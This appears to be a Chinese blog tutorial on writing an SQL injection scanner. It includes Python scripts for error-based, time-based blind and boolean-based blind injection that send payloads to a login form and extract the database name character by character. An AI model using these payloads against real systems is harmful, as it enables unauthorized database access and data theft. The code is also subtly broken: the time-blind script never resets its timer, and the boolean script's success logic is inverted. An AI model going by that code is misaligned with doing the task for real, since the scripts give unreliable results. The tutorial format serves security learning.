概要
SQL注入扫描就是一种用于检测和预防SQL注入攻击的工具。它通过模拟SQL注入攻击的方式,向目标网站发送特定的SQL查询语句,以验证目标网站是否存在SQL注入漏洞。
SQL注入扫描的过程通常分为以下几个步骤:
- 收集信息:扫描器会首先向目标网站发送各种类型的请求,例如HTTP GET、POST等,以获取目标网站的响应,进而收集关于目标网站的信息。
- 发现漏洞:扫描器会尝试使用各种常见的SQL注入技巧来探测目标网站是否存在SQL注入漏洞。例如,它会向目标网站发送一些特定的字符,以验证是否存在对输入数据进行检查的措施。
- 验证漏洞:如果扫描器成功地发现了SQL注入漏洞,它会尝试利用该漏洞来验证其有效性。例如,它会发送一些恶意的SQL查询语句,以查看是否能够成功地从目标网站的数据库中提取数据。
- 报告结果:扫描器会将其扫描结果整理成报告,包括发现的漏洞类型、漏洞的位置、漏洞的影响程度等信息。
总的来说,SQL注入扫描可以帮助网站管理员及时检测和预防SQL注入攻击,从而保护网站和数据库的安全。
下面分别描述这四部分
收集信息编辑
为什么我们要收集信息?
比如说我们对于http://www.example.com/网站进行扫描,就要先使用爬虫获取扫描目标,没有扫描目标的话,直接对着http://www.example.com/怼,能够扫出漏洞我愿意称之为天选之子。
假设现在收集到了1000个网址,包含了:
- http://www.example.com/images/1.jpg
- http://www.example.com/images/2.jpg
- http://www.example.com/js/upload.js
- http://www.example.com/admin/login.php
- http://www.example.com/1.html
- http://www.example.com/page/1.php?id=1
- …
如果你是一个渗透测试工程师,你第一反应是检测哪个网址?
So,这也是我们脚本需要实现的东西
不可能每个网址都扫描一遍吧,恰好我们有100个验证SQL注入的POC,那么就需要发送1000*100个包,这对该网站是一个噩梦,当然也有可能刚开始扫就被防火墙给拦截了,或者很多东西都是错误网址,浪费了扫描器的时间
所以我们需要在收集信息这一步将一些干扰信息排除掉,具体来说,需要分析目标网站的响应数据,包括响应头、响应体、响应码等信息,以获取目标网站的状态和特征等
发现漏洞&验证漏洞编辑
这里其实是POC和EXP的区别,这里我们统一用POC来解释
我们根据SQL注入的不同类型来编写SQL注入的检测脚本,因为这里的分类因人而异,这里只进行前三中的安全开发扫描简述
- 报错注入
- 时间盲注
- 布尔注入
- 宽字节注入
- 联合注入
- 堆叠注入
- 二次注入
- …
报错注入检测脚本
报错注入是一种常见的SQL注入技术,其基本原理是通过构造恶意的SQL查询语句,使目标网站返回错误信息,从而获得有关目标数据库的敏感信息
它的检测关键点在于回显需要有报错信息,在下面的脚本中报错回显是
“You have an error in your SQL syntax”
使用python编写一个实例脚本
import requests
# 定义目标网站URL和注入参数
target_url = 'http://www.example.com/login.php'
injection_param = 'username'
# 构造注入语句
injection_payload = "' or 1=1 union select 1,2,3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()-- "
# 发送恶意请求
payload = {injection_param: injection_payload}
response = requests.post(target_url, data=payload)
# 分析响应并检测是否存在SQL注入漏洞
if "You have an error in your SQL syntax" in response.text:
print("SQL注入漏洞存在")
else:
print("SQL注入漏洞不存在")
时间盲注检测脚本
时间盲注,最重要的就是时间
import requests
import time
# 定义目标网站URL和注入参数
target_url = 'http://www.example.com/login.php'
injection_param = 'username'
# 构造注入语句
injection_payload = "' or if(substr(database(),{pos},1)='{char}', sleep(5), null)-- "
# 发送恶意请求并计时
start_time = time.time()
for i in range(1, 20): # 假设数据库名称长度不超过20个字符
for j in range(33, 127): # ASCII码表中可见字符的范围
# 替换注入语句中的占位符
payload = {injection_param: injection_payload.format(pos=i, char=chr(j))}
response = requests.post(target_url, data=payload)
# 如果响应时间大于5秒,则表示猜测的字符是正确的
if time.time() - start_time > 5:
print("第{}位字符为:{}".format(i, chr(j)))
break
else:
continue
break
以上脚本中,我们首先定义了目标网站的URL和注入参数,然后构造了一个注入语句,其中使用了时间盲注的技巧,使用sleep函数控制响应时间。接着,我们使用一个双重循环来猜测数据库名称中的每一个字符,如果猜测正确,则响应时间会超过5秒,从而得到正确的字符
布尔注入检测脚本
布尔注入的基本原理是通过构造恶意的SQL查询语句,使目标网站返回不同的响应结果(True或False)
这里的True和False是什么?
水无常形,需要根据情况讨论,如果我们的一个SQL注入脚本,正确的时候,是返回200状态码,失败的时候,返回404状态码,这里的对应
- True 200
- False 404
另一种情况,正确的时候,返回个人信息,失败的时候,返回为空,这里的对应
- True 获得个人信息
- False 空信息
在下面这个脚本中,Login failed
为False,登录成功为True ,通过判断响应结果中是否包含“Login failed”来判断猜测是否正确
import requests
# 定义目标网站URL和注入参数
target_url = 'http://www.example.com/login.php'
injection_param = 'username'
# 构造注入语句
injection_payload = "' or ascii(substr(database(),{pos},1))={char}-- "
# 猜测数据库名称的长度
for length in range(1, 20): # 假设数据库名称长度不超过20个字符
# 猜测每一位字符
database_name = ''
for i in range(1, length+1):
for j in range(33, 127): # ASCII码表中可见字符的范围
# 替换注入语句中的占位符
payload = {injection_param: injection_payload.format(pos=i, char=j)}
response = requests.post(target_url, data=payload)
# 判断响应结果是否发生变化
if 'Login failed' in response.text:
break
else:
continue
database_name += chr(j)
break
else:
break
print("数据库名称为:", database_name)
输出报告编辑
这玩意不用我说了吧 😃
浅谈检测的优化编辑
关于漏洞检测的优化,我觉得这东西可以写一本书,这里简单说几个抛砖引玉
在第一步我们获取到扫描目标后,我们需要进行一波过滤,可以定义一个字典 [‘js’,‘jpg’,‘png’]等等,将对应的静态后缀给过滤掉,不进入到第二步的扫描中,节省扫描时间
在时间盲注中,如果我们用国内的扫描器扫描国外的网站,可能你正常访问国外的网站,等待的时间都需要10秒,检测脚本中等待的5秒都属于正常的网络抖动,误报率会非常高,这种情况下可以先发几个包到需要检测的网站上,计算一个平均访问时间,在平均访问时间上构造盲注时间,这样来提高准确率
OK,SQL注入扫描就到这里啦,自己编写扫描脚本的时候,需要根据扫描结果来不断优化迭代,进而让脚本趋于完善